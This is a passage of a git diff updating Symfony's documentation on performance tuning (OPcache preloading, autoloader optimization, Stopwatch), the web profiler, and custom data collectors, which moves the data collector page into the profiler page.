all requests until the server is restarted, improving performance significantly. During container compilation (e.g. when running the ``cache:clear`` command), -Symfony generates a file called ``preload.php`` in the ``config/`` directory -with the list of classes to preload. - -The only requirement is that you need to set both ``container.dumper.inline_factories`` -and ``container.dumper.inline_class_loader`` parameters to ``true``. Then, you -can configure PHP to use this preload file: +Symfony generates a file with the list of classes to preload in the +``var/cache/`` directory. Rather than use this file directly, use the +``config/preload.php`` file that is created when +:doc:`using Symfony Flex in your project </setup/flex>`: .. code-block:: ini ; php.ini opcache.preload=/path/to/project/config/preload.php + ; required for opcache.preload: + opcache.preload_user=www-data + +If this file is missing, run this command to update the Symfony Flex recipe: +``composer recipes:update symfony/framework-bundle``. + Use the :ref:`container.preload <dic-tags-container-preload>` and :ref:`container.no_preload <dic-tags-container-nopreload>` service tags to define which classes should or should not be preloaded by PHP. @@ -154,7 +162,7 @@ overhead that can be avoided as follows: ; php.ini opcache.validate_timestamps=0 -After each deploy, you must empty and regenerate the cache of OPcache. Otherwise +After each deployment, you must empty and regenerate the cache of OPcache. Otherwise you won't see the updates made in the application. Given that in PHP, the CLI and the web processes don't share the same OPcache, you cannot clear the web server OPcache by executing some command in your terminal. These are some of the @@ -193,14 +201,14 @@ such as Symfony projects, should use at least these values: Optimize Composer Autoloader ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -The class loader used while developing the application is optimized to find -new and changed classes. In production servers, PHP files should never change, +The class loader used while developing the application is optimized to find new +and changed classes. In production servers, PHP files should never change, unless a new application version is deployed. That's why you can optimize -Composer's autoloader to scan the entire application once and build a "class map", -which is a big array of the locations of all the classes and it's stored -in ``vendor/composer/autoload_classmap.php``. +Composer's autoloader to scan the entire application once and build an +optimized "class map", which is a big array of the locations of all the classes +and it's stored in ``vendor/composer/autoload_classmap.php``. -Execute this command to generate the class map (and make it part of your +Execute this command to generate the new class map (and make it part of your deployment process too): .. code-block:: terminal @@ -213,23 +221,68 @@ deployment process too): used in your application and prevents Composer from scanning the file system for classes that are not found in the class map. (see: `Composer's autoloader optimization`_). +Disable Dumping the Container as XML in Debug Mode +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +In :ref:`debug mode <debug-mode>`, Symfony generates an XML file with all the +:doc:`service container </service_container>` information (services, arguments, etc.) +This XML file is used by various debugging commands such as ``debug:container`` +and ``debug:autowiring``. + +When the container grows larger and larger, so does the size of the file and the +time to generate it. If the benefit of this XML file does not outweigh the decrease +in performance, you can stop generating the file as follows: + +.. configuration-block:: + + .. code-block:: yaml + + # config/services.yaml + parameters: + # ... + debug.container.dump: false + + .. code-block:: xml + + <!-- config/services.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd"> + + <parameters> + <!-- ... --> + <parameter key="debug.container.dump">false</parameter> + </parameters> + </container> + + .. code-block:: php + + // config/services.php + + // ... + $container->parameters()->set('debug.container.dump', false); + .. _profiling-applications: -Profiling Applications ----------------------- +Profiling Symfony Applications +------------------------------ + +Profiling with Blackfire +~~~~~~~~~~~~~~~~~~~~~~~~ `Blackfire`_ is the best tool to profile and optimize performance of Symfony applications during development, test and production. It's a commercial service, -but provides free features that you can use to find bottlenecks in your projects. +but provides a `full-featured demo`_. + +Profiling with Symfony Stopwatch +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Symfony provides a basic performance profiler in the development :ref:`config environment <configuration-environments>`. Click on the "time panel" of the :ref:`web debug toolbar <web-debug-toolbar>` to see how much time Symfony spent on tasks such as making database queries and rendering templates. -Custom Profiling -~~~~~~~~~~~~~~~~ - You can measure the execution time and memory consumption of your own code and display the result in the Symfony profiler thanks to the `Stopwatch component`_. @@ -241,14 +294,12 @@ and Symfony will inject the ``debug.stopwatch`` service:: class DataExporter { - private $stopwatch; - - public function __construct(Stopwatch $stopwatch) - { - $this->stopwatch = $stopwatch; + public function __construct( + private Stopwatch $stopwatch, + ) { } - public function export() + public function export(): void { // the argument is the name of the "profiling event" $this->stopwatch->start('export-data'); @@ -271,14 +322,14 @@ information about the current event, even while it's still running. This object can be converted to a string for a quick summary:: // ... - dump((string) $this->stopwatch->getEvent()); // dumps e.g. '4.50 MiB - 26 ms' + dump((string) $this->stopwatch->getEvent('export-data')); // dumps e.g. '4.50 MiB - 26 ms' You can also profile your template code with the :ref:`stopwatch Twig tag <reference-twig-tag-stopwatch>`: .. code-block:: twig {% stopwatch 'render-blog-posts' %} - {% for post in blog_posts%} + {% for post in blog_posts %} {# ... #} {% endfor %} {% endstopwatch %} @@ -311,6 +362,13 @@ method does, which stops an event and then restarts it immediately:: // Lap information is stored as "periods" within the event: // $event->getPeriods(); + // Gets the last event period: + // $event->getLastPeriod(); + +.. versionadded:: 7.2 + + The ``getLastPeriod()`` method was introduced in Symfony 7.2. + Profiling Sections .................. @@ -327,6 +385,20 @@ Sections are a way to split the profile timeline into groups. Example:: $this->stopwatch->start('processing-file'); $this->stopwatch->stopSection('parsing'); +All events that don't belong to any named section are added to the special section +called ``__root__``. This way you can get all stopwatch events, even if you don't +know their names, as follows:: + + use Symfony\Component\Stopwatch\Stopwatch; + + foreach($this->stopwatch->getSectionEvents(Stopwatch::ROOT) as $event) { + echo (string) $event; + } + +.. versionadded:: 7.2 + + The ``Stopwatch::ROOT`` constant as a shortcut for ``__root__`` was introduced in Symfony 7.2. + Learn more ---------- @@ -335,11 +407,11 @@ Learn more .. _`byte code caches`: https://en.wikipedia.org/wiki/List_of_PHP_accelerators .. _`OPcache`: https://www.php.net/manual/en/book.opcache.php .. _`Composer's autoloader optimization`: https://getcomposer.org/doc/articles/autoloader-optimization.md -.. _`APC`: https://www.php.net/manual/en/book.apc.php .. _`APCu Polyfill component`: https://github.com/symfony/polyfill-apcu .. _`APCu PHP functions`: https://www.php.net/manual/en/ref.apcu.php .. _`cachetool`: https://github.com/gordalina/cachetool .. _`open_basedir`: https://www.php.net/manual/ini.core.php#ini.open-basedir .. _`Blackfire`: https://blackfire.io/docs/introduction?utm_source=symfony&utm_medium=symfonycom_docs&utm_campaign=performance +.. _`full-featured demo`: https://demo.blackfire.io?utm_source=symfony&utm_medium=symfonycom_docs&utm_campaign=performance .. _`Stopwatch component`: https://symfony.com/components/Stopwatch .. _`real-world stopwatch`: https://en.wikipedia.org/wiki/Stopwatch diff --git a/profiler.rst b/profiler.rst index 1bc2c1a0eb5..7fc97c8ee33 100644 --- a/profiler.rst +++ b/profiler.rst @@ -2,8 +2,12 @@ Profiler ======== The profiler is a powerful **development tool** that gives detailed information -about the execution of any request. **Never** enable the profiler in production -environments as it will lead to major security vulnerabilities in your project. +about the execution of any request. + +.. danger:: + + **Never** enable the profiler in production environments + as it will lead to major security vulnerabilities in your project. Installation ------------ @@ -21,8 +25,8 @@ toolbar injected at the bottom of your pages to open the web interface of the Symfony Profiler, which will look like this: .. image:: /_images/profiler/web-interface.png - :align: center - :class: with-browser + :alt: The Symfony Web profiler page. + :class: with-browser .. note:: @@ -31,10 +35,15 @@ Symfony Profiler, which will look like this: in the ``X-Debug-Token-Link`` HTTP response header. Browse the ``/_profiler`` URL to see all profiles. +.. note:: + + To limit the storage used by profiles on disk, they are probabilistically + removed after 2 days. + Accessing Profiling Data Programmatically ----------------------------------------- -Most of the times, the profiler information is accessed and analyzed using its +Most of the time, the profiler information is accessed and analyzed using its web-based interface. However, you can also retrieve profiling information programmatically thanks to the methods provided by the ``profiler`` service. @@ -45,6 +54,12 @@ method to access to its associated profile:: // ... $profiler is the 'profiler' service $profile = $profiler->loadProfileFromResponse($response); +.. note:: + + The ``profiler`` service will be :doc:`autowired </service_container/autowiring>` + automatically when type-hinting any service argument with the + :class:`Symfony\\Component\\HttpKernel\\Profiler\\Profiler` class. + When the profiler stores data about a request, it also associates a token with it; this token is available in the ``X-Debug-Token`` HTTP header of the response. Using this token, you can access the profile of any past response thanks to the @@ -66,9 +81,12 @@ look for tokens based on some criteria:: // gets the latest 10 tokens $tokens = $profiler->find('', '', 10, '', '', ''); - // gets the latest 10 tokens for all URL containing /admin/ + // gets the latest 10 tokens for all URLs containing /admin/ $tokens = $profiler->find('', '/admin/', 10, '', '', ''); + // gets the latest 10 tokens for all URLs not containing /api/ + $tokens = $profiler->find('', '!/api/', 10, '', '', ''); + // gets the latest 10 tokens for local POST requests $tokens = $profiler->find('127.0.0.1', '', 10, 'POST', '', ''); @@ -88,7 +106,7 @@ Run this command to get the list of collectors actually enabled in your app: $ php bin/console debug:container --tag=data_collector -You can also :doc:`create your own data collector </profiler/data_collector>` to +You can also :ref:`create your own data collector <profiler-data-collector>` to store any data generated by your app and display it in the debug toolbar and the profiler web interface. @@ -106,16 +124,12 @@ need to create a custom data collector. Instead, use the built-in utilities to Consider using a professional profiler such as `Blackfire`_ to measure and analyze the execution of your application in detail. -Enabling the Profiler Conditionally ------------------------------------ - -.. caution:: +.. _enabling-the-profiler-programmatically: - The possibility to use a matcher to enable the profiler conditionally was - removed in Symfony 4.0. +Enabling the Profiler Programmatically or Conditionally +------------------------------------------------------- -Symfony Profiler cannot be enabled/disabled conditionally using matchers, because -that feature was removed in Symfony 4.0. However, you can use the ``enable()`` +Symfony Profiler can be enabled and disabled programmatically. You can use the ``enable()`` and ``disable()`` methods of the :class:`Symfony\\Component\\HttpKernel\\Profiler\\Profiler` class in your controllers to manage the profiler programmatically:: @@ -126,7 +140,7 @@ class in your controllers to manage the profiler programmatically:: { // ... - public function someMethod(?Profiler $profiler) + public function someMethod(?Profiler $profiler): Response { // $profiler won't be set if your environment doesn't have the profiler (like prod, by default) if (null !== $profiler) { @@ -170,6 +184,31 @@ create an alias pointing to the existing ``profiler`` service: $container->setAlias(Profiler::class, 'profiler'); +.. _enabling-the-profiler-conditionally: + +Enabling the Profiler Conditionally +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Instead of enabling the profiler programmatically as explained in the previous +section, you can also enable it when a certain condition is met (e.g. a certain +parameter is included in the URL): + +.. code-block:: yaml + + # config/packages/dev/web_profiler.yaml + framework: + profiler: + collect: false + collect_parameter: 'profile' + +This configuration disables the profiler by default (``collect: false``) to +improve the application performance; but enables it for requests that include a +query parameter called ``profile`` (you can freely choose this query parameter name). + +In addition to the query parameter, this feature also works when submitting a +form field with that name (useful to enable the profiler in ``POST`` requests) +or when including it as a request attribute. + Updating the Web Debug Toolbar After AJAX Requests -------------------------------------------------- @@ -178,40 +217,392 @@ user by dynamically rewriting the current page rather than loading entire new pages from a server. By default, the debug toolbar displays the information of the initial page load -and doesn't refresh after each AJAX request. However, you can set the -``Symfony-Debug-Toolbar-Replace`` header to a value of ``1`` in the response to -the AJAX request to force the refresh of the toolbar:: +and doesn't refresh after each AJAX request. However, you can configure the +toolbar to be refreshed after each AJAX request by enabling ``ajax_replace`` in the +``web_profiler`` configuration: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/web_profiler.yaml + web_profiler: + toolbar: + ajax_replace: true + + .. code-block:: xml + + <!-- config/packages/web_profiler.xml --> + <?xml version="1.0" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xmlns:web-profiler="http://symfony.com/schema/dic/webprofiler" + xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> + + <web-profiler:config> + <web-profiler:toolbar ajax-replace="true"/> + </web-profiler:config> + </container> - $response->headers->set('Symfony-Debug-Toolbar-Replace', 1); + .. code-block:: php + + // config/packages/web_profiler.php + use Symfony\Config\WebProfilerConfig; + + return static function (WebProfilerConfig $profiler): void { + $profiler->toolbar() + ->ajaxReplace(true); + }; + +If you need a more sophisticated solution, you can set the +``Symfony-Debug-Toolbar-Replace`` header to a value of ``'1'`` in the response +yourself:: + + $response->headers->set('Symfony-Debug-Toolbar-Replace', '1'); Ideally this header should only be set during development and not for production. To do that, create an :doc:`event subscriber </event_dispatcher>` and listen to the :ref:`kernel.response <component-http-kernel-kernel-response>` event:: + use Symfony\Component\DependencyInjection\Attribute\When; + use Symfony\Component\EventDispatcher\EventSubscriberInterface; use Symfony\Component\HttpKernel\Event\ResponseEvent; + use Symfony\Component\HttpKernel\KernelInterface; // ... - public function onKernelResponse(ResponseEvent $event) + #[When(env: 'dev')] + class MySubscriber implements EventSubscriberInterface { - if (!$this->getKernel()->isDebug()) { - return; + // ... + + public function onKernelResponse(ResponseEvent $event): void + { + // Your custom logic here + + $response = $event->getResponse(); + $response->headers->set('Symfony-Debug-Toolbar-Replace', '1'); } + } + +.. _profiler-data-collector: + +Creating a Data Collector +------------------------- + +The Symfony Profiler obtains its profiling and debug information using some +special classes called data collectors. Symfony comes bundled with a few of +them, but you can also create your own. + +A data collector is a PHP class that implements the +:class:`Symfony\\Component\\HttpKernel\\DataCollector\\DataCollectorInterface`. +For convenience, your data collectors can also extend from the +:class:`Symfony\\Bundle\\FrameworkBundle\\DataCollector\\AbstractDataCollector` +class, which implements the interface and provides some utilities and the +``$this->data`` property to store the collected information. + +The following example shows a custom collector that stores information about the +request:: - $request = $event->getRequest(); - if (!$request->isXmlHttpRequest()) { - return; + // src/DataCollector/RequestCollector.php + namespace App\DataCollector; + + use Symfony\Bundle\FrameworkBundle\DataCollector\AbstractDataCollector; + use Symfony\Component\HttpFoundation\Request; + use Symfony\Component\HttpFoundation\Response; + + class RequestCollector extends AbstractDataCollector + { + public function collect(Request $request, Response $response, ?\Throwable $exception = null): void + { + $this->data = [ + 'method' => $request->getMethod(), + 'acceptable_content_types' => $request->getAcceptableContentTypes(), + ]; } + } + +These are the method that you can define in the data collector class: + +:method:`Symfony\\Component\\HttpKernel\\DataCollector\\DataCollectorInterface::collect` method: + Stores the collected data in local properties (``$this->data`` if you extend + from ``AbstractDataCollector``). If you need some services to collect the + data, inject those services in the data collector constructor. + + .. warning:: - $response = $event->getResponse(); - $response->headers->set('Symfony-Debug-Toolbar-Replace', 1); + The ``collect()`` method is only called once. It is not used to "gather" + data but is there to "pick up" the data that has been stored by your + service. + + .. warning:: + + As the profiler serializes data collector instances, you should not + store objects that cannot be serialized (like PDO objects) or you need + to provide your own ``serialize()`` method. + +:method:`Symfony\\Component\\HttpKernel\\DataCollector\\DataCollectorInterface::reset` method: + It's called between requests to reset the state of the profiler. By default + it only empties the ``$this->data`` contents, but you can override this method + to do additional cleaning. + +:method:`Symfony\\Component\\HttpKernel\\DataCollector\\DataCollectorInterface::getName` method: + Returns the collector identifier, which must be unique in the application. + By default it returns the FQCN of the data collector class, but you can + override this method to return a custom name (e.g. ``app.request_collector``). + This value is used later to access the collector information (see + :doc:`/testing/profiling`) so you may prefer using short strings instead of FQCN strings. + +The ``collect()`` method is called during the :ref:`kernel.response <component-http-kernel-kernel-response>` +event. If you need to collect data that is only available later, implement +:class:`Symfony\\Component\\HttpKernel\\DataCollector\\LateDataCollectorInterface` +and define the ``lateCollect()`` method, which is invoked right before the profiler +data serialization (during :ref:`kernel.terminate <component-http-kernel-kernel-terminate>` event). + +.. note:: + + If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>` + with ``autoconfigure``, then Symfony will start using your data collector after the + next page refresh. Otherwise, :ref:`enable the data collector by hand <data_collector_tag>`. + +Adding Web Profiler Templates +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +The information collected by your data collector can be displayed both in the +web debug toolbar and in the web profiler. To do so, you need to create a Twig +template that includes some specific blocks. + +First, add the ``getTemplate()`` method in your data collector class to return +the path of the Twig template to use. Then, add some *getters* to give the +template access to the collected information:: + + // src/DataCollector/RequestCollector.php + namespace App\DataCollector; + + use Symfony\Bundle\FrameworkBundle\DataCollector\AbstractDataCollector; + use Symfony\Component\VarDumper\Cloner\Data; + + class RequestCollector extends AbstractDataCollector + { + // ... + + public static function getTemplate(): ?string + { + return 'data_collector/template.html.twig'; + } + + public function getMethod(): string + { + return $this->data['method']; + } + + public function getAcceptableContentTypes(): array + { + return $this->data['acceptable_content_types']; + } + + public function getSomeObject(): Data + { + // use the cloneVar() method to dump collected data in the profiler + return $this->cloneVar($this->data['method']); + } } -.. toctree:: - :hidden: +In the simplest case, you want to display the information in the toolbar +without providing a profiler panel. This requires to define the ``toolbar`` +block and set the value of two variables called ``icon`` and ``text``: + +.. code-block:: html+twig + + {# templates/data_collector/template.html.twig #} + {% extends '@WebProfiler/Profiler/layout.html.twig' %} + + {% block toolbar %} + {% set icon %} + {# this is the content displayed as a panel in the toolbar #} + <svg xmlns="http://www.w3.org/2000/svg"> ... </svg> + <span class="sf-toolbar-value">Request</span> + {% endset %} + + {% set text %} + {# this is the content displayed when hovering the mouse over + the toolbar panel #} + <div class="sf-toolbar-info-piece"> + <b>Method</b> + <span>{{ collector.method }}</span> + </div> + + <div class="sf-toolbar-info-piece"> + <b>Accepted content type</b> + <span>{{ collector.acceptableContentTypes|join(', ') }}</span> + </div> + {% endset %} + + {# the 'link' value set to 'false' means that this panel doesn't + show a section in the web profiler #} + {{ include('@WebProfiler/Profiler/toolbar_item.html.twig', { link: false }) }} + {% endblock %} + +.. tip:: + + Symfony Profiler icons are selected from `Tabler icons`_, a large and open + source collection of SVG icons. It's recommended to also use those icons for + your own profiler panels to get a consistent look. + +.. tip:: + + Built-in collector templates define all their images as embedded SVG files. + This makes them work everywhere without having to mess with web assets links: + + .. code-block:: twig + + {% set icon %} + {{ include('data_collector/icon.svg') }} + {# ... #} + {% endset %} + +If the toolbar panel includes extended web profiler information, the Twig template +must also define additional blocks: + +.. code-block:: html+twig + + {# templates/data_collector/template.html.twig #} + {% extends '@WebProfiler/Profiler/layout.html.twig' %} + + {% block toolbar %} + {% set icon %} + {# ... #} + {% endset %} + + {% set text %} + <div class="sf-toolbar-info-piece"> + {# ... #} + </div> + {% endset %} + + {{ include('@WebProfiler/Profiler/toolbar_item.html.twig', { 'link': true }) }} + {% endblock %} + + {% block head %} + {# Optional. Here you can link to or define your own CSS and JS contents. #} + {# Use {{ parent() }} to extend the default styles instead of overriding them. #} + {% endblock %} + + {% block menu %} + {# This left-hand menu appears when using the full-screen profiler. #} + <span class="label"> + <span class="icon"><img src="..." alt=""/></span> + <strong>Request</strong> + </span> + {% endblock %} + + {% block panel %} + {# Optional, for showing the most details. #} + <h2>Acceptable Content Types</h2> + <table> + <tr> + <th>Content Type</th> + </tr> + + {% for type in collector.acceptableContentTypes %} + <tr> + <td>{{ type }}</td> + </tr> + {% endfor %} + + {# use the profiler_dump() function to render the contents of dumped objects #} + <tr> + {{ profiler_dump(collector.someObject) }} + </tr> + </table> + {% endblock %} + +The ``menu`` and ``panel`` blocks are the only required blocks to define the +contents displayed in the web profiler panel associated with this data collector. +All blocks have access to the ``collector`` object. + +.. note:: + + The position of each panel in the toolbar is determined by the collector + priority, which can only be defined when :ref:`configuring the data collector by hand <data_collector_tag>`. + +.. note:: + + If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>` + with ``autoconfigure``, then Symfony will start displaying your collector data + in the toolbar after the next page refresh. Otherwise, :ref:`enable the data collector by hand <data_collector_tag>`. + +.. _data_collector_tag: + +Enabling Custom Data Collectors +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +If you don't use Symfony's default configuration with +:ref:`autowire and autoconfigure <service-container-services-load-example>` +you'll need to configure the data collector explicitly: + +.. configuration-block:: + + .. code-block:: yaml + + # config/services.yaml + services: + App\DataCollector\RequestCollector: + tags: + - + name: data_collector + # must match the value returned by the getName() method + id: 'App\DataCollector\RequestCollector' + # optional template (it has more priority than the value returned by getTemplate()) + template: 'data_collector/template.html.twig' + # optional priority (positive or negative integer; default = 0) + # priority: 300 + + .. code-block:: xml + + <!-- config/services.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd"> + + <services> + <service id="App\DataCollector\RequestCollector"> + <!-- the 'template' attribute has more priority than the value returned by getTemplate() --> + <tag name="data_collector" + id="App\DataCollector\RequestCollector" + template="data_collector/template.html.twig" + /> + <!-- optional 'priority' attribute (positive or negative integer; default = 0) --> + <!-- priority="300" --> + </service> + </services> + </container> + + .. code-block:: php + + // config/services.php + namespace Symfony\Component\DependencyInjection\Loader\Configurator; + + use App\DataCollector\RequestCollector; + + return function(ContainerConfigurator $container): void { + $services = $container->services(); - profiler/data_collector + $services->set(RequestCollector::class) + ->tag('data_collector', [ + 'id' => RequestCollector::class, + // optional template (it has more priority than the value returned by getTemplate()) + 'template' => 'data_collector/template.html.twig', + // optional priority (positive or negative integer; default = 0) + // 'priority' => 300, + ]); + }; .. _`Single-page applications`: https://en.wikipedia.org/wiki/Single-page_application .. _`Blackfire`: https://blackfire.io/docs/introduction?utm_source=symfony&utm_medium=symfonycom_docs&utm_campaign=profiler +.. _`Tabler icons`: https://github.com/tabler/tabler-icons diff --git a/profiler/data_collector.rst b/profiler/data_collector.rst deleted file mode 100644 index 276d1e88324..00000000000 --- a/profiler/data_collector.rst +++ /dev/null @@ -1,305 +0,0 @@ -.. index:: - single: Profiling; Data collector - -How to Create a custom Data Collector -===================================== - -The :doc:`Symfony Profiler </profiler>` obtains its profiling and debug -information using some special classes called data collectors. Symfony comes -bundled with a few of them, but you can also create your own. - -Creating a custom Data Collector --------------------------------- - -A data collector is a PHP class that implements the -:class:`Symfony\\Component\\HttpKernel\\DataCollector\\DataCollectorInterface`. -For convenience, your data collectors can also extend from the -:class:`Symfony\\Bundle\\FrameworkBundle\\DataCollector\\AbstractDataCollector` -class, which implements the interface and provides some utilities and the -``$this->data`` property to store the collected information. - -.. versionadded:: 5.2 - - The ``AbstractDataCollector`` class was introduced in Symfony 5.2. - -The following example shows a custom collector that stores information about the -request:: - - // src/DataCollector/RequestCollector.php - namespace App\DataCollector; - - use Symfony\Bundle\FrameworkBundle\DataCollector\AbstractDataCollector; - use Symfony\Component\HttpFoundation\Request; - use Symfony\Component\HttpFoundation\Response; - use Symfony\Component\HttpKernel\DataCollector\DataCollector; - - class RequestCollector extends AbstractDataCollector - { - public function collect(Request $request, Response $response, \Throwable $exception = null) - { - $this->data = [ - 'method' => $request->getMethod(), - 'acceptable_content_types' => $request->getAcceptableContentTypes(), - ]; - } - } - -These are the method that you can define in the data collector class: - -:method:`Symfony\\Component\\HttpKernel\\DataCollector\\DataCollectorInterface::collect` method: - Stores the collected data in local properties (``$this->data`` if you extend - from ``AbstractDataCollector``). If you need some services to collect the - data, inject those services in the data collector constructor. - - .. caution:: - - The ``collect()`` method is only called once. It is not used to "gather" - data but is there to "pick up" the data that has been stored by your - service. - - .. caution:: - - As the profiler serializes data collector instances, you should not - store objects that cannot be serialized (like PDO objects) or you need - to provide your own ``serialize()`` method. - -:method:`Symfony\\Component\\HttpKernel\\DataCollector\\DataCollectorInterface::reset` method: - It's called between requests to reset the state of the profiler. By default - it only empties the ``$this->data`` contents, but you can override this method - to do additional cleaning. - -:method:`Symfony\\Component\\HttpKernel\\DataCollector\\DataCollectorInterface::getName` method: - Returns the collector identifier, which must be unique in the application. - By default it returns the FQCN of the data collector class, but you can - override this method to return a custom name (e.g. ``app.request_collector``). - This value is used later to access the collector information (see - :doc:`/testing/profiling`) so you may prefer using short strings instead of FQCN strings. - -The ``collect()`` method is called during the :ref:`kernel.response <component-http-kernel-kernel-response>` -event. If you need to collect data that is only available later, implement -:class:`Symfony\\Component\\HttpKernel\\DataCollector\\LateDataCollectorInterface` -and define the ``lateCollect()`` method, which is invoked right before the profiler -data serialization (during :ref:`kernel.terminate <component-http-kernel-kernel-terminate>` event). - -.. note:: - - If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>` - with ``autoconfigure``, then Symfony will start using your data collector after the - next page refresh. Otherwise, :ref:`enable the data collector by hand <data_collector_tag>`. - -Adding Web Profiler Templates ------------------------------ - -The information collected by your data collector can be displayed both in the -web debug toolbar and in the web profiler. To do so, you need to create a Twig -template that includes some specific blocks. - -First, add the ``getTemplate()`` method in your data collector class to return -the path of the Twig template to use. Then, add some *getters* to give the -template access to the collected information:::: - - // src/DataCollector/RequestCollector.php - namespace App\DataCollector; - - use Symfony\Bundle\FrameworkBundle\DataCollector\AbstractDataCollector; - - class RequestCollector extends AbstractDataCollector - { - // ... - - public static function getTemplate(): ?string - { - return 'data_collector/template.html.twig'; - } - - public function getMethod() - { - return $this->data['method']; - } - - public function getAcceptableContentTypes() - { - return $this->data['acceptable_content_types']; - } - } - -In the simplest case, you want to display the information in the toolbar -without providing a profiler panel. This requires to define the ``toolbar`` -block and set the value of two variables called ``icon`` and ``text``: - -.. code-block:: html+twig - - {# templates/data_collector/template.html.twig #} - {% extends '@WebProfiler/Profiler/layout.html.twig' %} - - {% block toolbar %} - {% set icon %} - {# this is the content displayed as a panel in the toolbar #} - <svg xmlns="http://www.w3.org/2000/svg"> ... </svg> - <span class="sf-toolbar-value">Request</span> - {% endset %} - - {% set text %} - {# this is the content displayed when hovering the mouse over - the toolbar panel #} - <div class="sf-toolbar-info-piece"> - <b>Method</b> - <span>{{ collector.method }}</span> - </div> - - <div class="sf-toolbar-info-piece"> - <b>Accepted content type</b> - <span>{{ collector.acceptableContentTypes|join(', ') }}</span> - </div> - {% endset %} - - {# the 'link' value set to 'false' means that this panel doesn't - show a section in the web profiler #} - {{ include('@WebProfiler/Profiler/toolbar_item.html.twig', { link: false }) }} - {% endblock %} - -.. tip:: - - Built-in collector templates define all their images as embedded SVG files. - This makes them work everywhere without having to mess with web assets links: - - .. code-block:: twig - - {% set icon %} - {{ include('data_collector/icon.svg') }} - {# ... #} - {% endset %} - -If the toolbar panel includes extended web profiler information, the Twig template -must also define additional blocks: - -.. code-block:: html+twig - - {# templates/data_collector/template.html.twig #} - {% extends '@WebProfiler/Profiler/layout.html.twig' %} - - {% block toolbar %} - {% set icon %} - {# ... #} - {% endset %} - - {% set text %} - <div class="sf-toolbar-info-piece"> - {# ... #} - </div> - {% endset %} - - {{ include('@WebProfiler/Profiler/toolbar_item.html.twig', { 'link': true }) }} - {% endblock %} - - {% block head %} - {# Optional. Here you can link to or define your own CSS and JS contents. #} - {# Use {{ parent() }} to extend the default styles instead of overriding them. #} - {% endblock %} - - {% block menu %} - {# This left-hand menu appears when using the full-screen profiler. #} - <span class="label"> - <span class="icon"><img src="..." alt=""/></span> - <strong>Request</strong> - </span> - {% endblock %} - - {% block panel %} - {# Optional, for showing the most details. #} - <h2>Acceptable Content Types</h2> - <table> - <tr> - <th>Content Type</th> - </tr> - - {% for type in collector.acceptableContentTypes %} - <tr> - <td>{{ type }}</td> - </tr> - {% endfor %} - </table> - {% endblock %} - -The ``menu`` and ``panel`` blocks are the only required blocks to define the -contents displayed in the web profiler panel associated with this data collector. -All blocks have access to the ``collector`` object. - -.. note:: - - The position of each panel in the toolbar is determined by the collector - priority, which can only be defined when :ref:`configuring the data collector by hand <data_collector_tag>`. - -.. note:: - - If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>` - with ``autoconfigure``, then Symfony will start displaying your collector data - in the toolbar after the next page refresh. Otherwise, :ref:`enable the data collector by hand <data_collector_tag>`. - -.. _data_collector_tag: - -Enabling Custom Data Collectors -------------------------------- - -If you don't use Symfony's default configuration with -:ref:`autowire and autoconfigure <service-container-services-load-example>` -you'll need to configure the data collector explicitly: - -.. configuration-block:: - - .. code-block:: yaml - - # config/services.yaml - services: - App\DataCollector\RequestCollector: - tags: - - - name: data_collector - # must match the value returned by the getName() method - id: 'App\DataCollector\RequestCollector' - # optional template (it has more priority than the value returned by getTemplate()) - template: 'data_collector/template.html.twig' - # optional priority (positive or negative integer; default = 0) - # priority: 300 - - .. code-block:: xml - - <!-- config/services.xml --> - <?xml version="1.0" encoding="UTF-8" ?> - <container xmlns="http://symfony.com/schema/dic/services" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xsi:schemaLocation="http://symfony.com/schema/dic/services - https://symfony.com/schema/dic/services/services-1.0.xsd"> - - <services> - <service id="App\DataCollector\RequestCollector"> - <!-- the 'template' attribute has more priority than the value returned by getTemplate() --> - <tag name="data_collector" - id="App\DataCollector\RequestCollector" - template="data_collector/template.html.twig" - /> - <!-- optional 'priority' attribute (positive or negative integer; default = 0) --> - <!-- priority="300" --> - </service> - </services> - </container> - - .. code-block:: php - - // config/services.php - namespace Symfony\Component\DependencyInjection\Loader\Configurator; - - use App\DataCollector\RequestCollector; - - return function(ContainerConfigurator $configurator) { - $services = $configurator->services(); - - $services->set(RequestCollector::class) - ->tag('data_collector', [ - 'id' => RequestCollector::class, - // optional template (it has more priority than the value returned by getTemplate()) - 'template' => 'data_collector/template.html.twig', - // optional priority (positive or negative integer; default = 0) - // 'priority' => 300, - ]); - }; diff --git a/quick_tour/flex_recipes.rst b/quick_tour/flex_recipes.rst index 435b4f07351..856b4271205 100644 --- a/quick_tour/flex_recipes.rst +++ b/quick_tour/flex_recipes.rst @@ -23,13 +23,13 @@ are included in your ``composer.json`` file: "require": { "...", - "symfony/console": "^4.1", - "symfony/flex": "^1.0", - "symfony/framework-bundle": "^4.1", - "symfony/yaml": "^4.1" + "symfony/console": "^6.1", + "symfony/flex": "^2.0", + "symfony/framework-bundle": "^6.1", + "symfony/yaml": "^6.1" } -This makes Symfony different than any other PHP framework! Instead of starting with +This makes Symfony different from any other PHP framework! Instead of starting with a *bulky* app with *every* possible 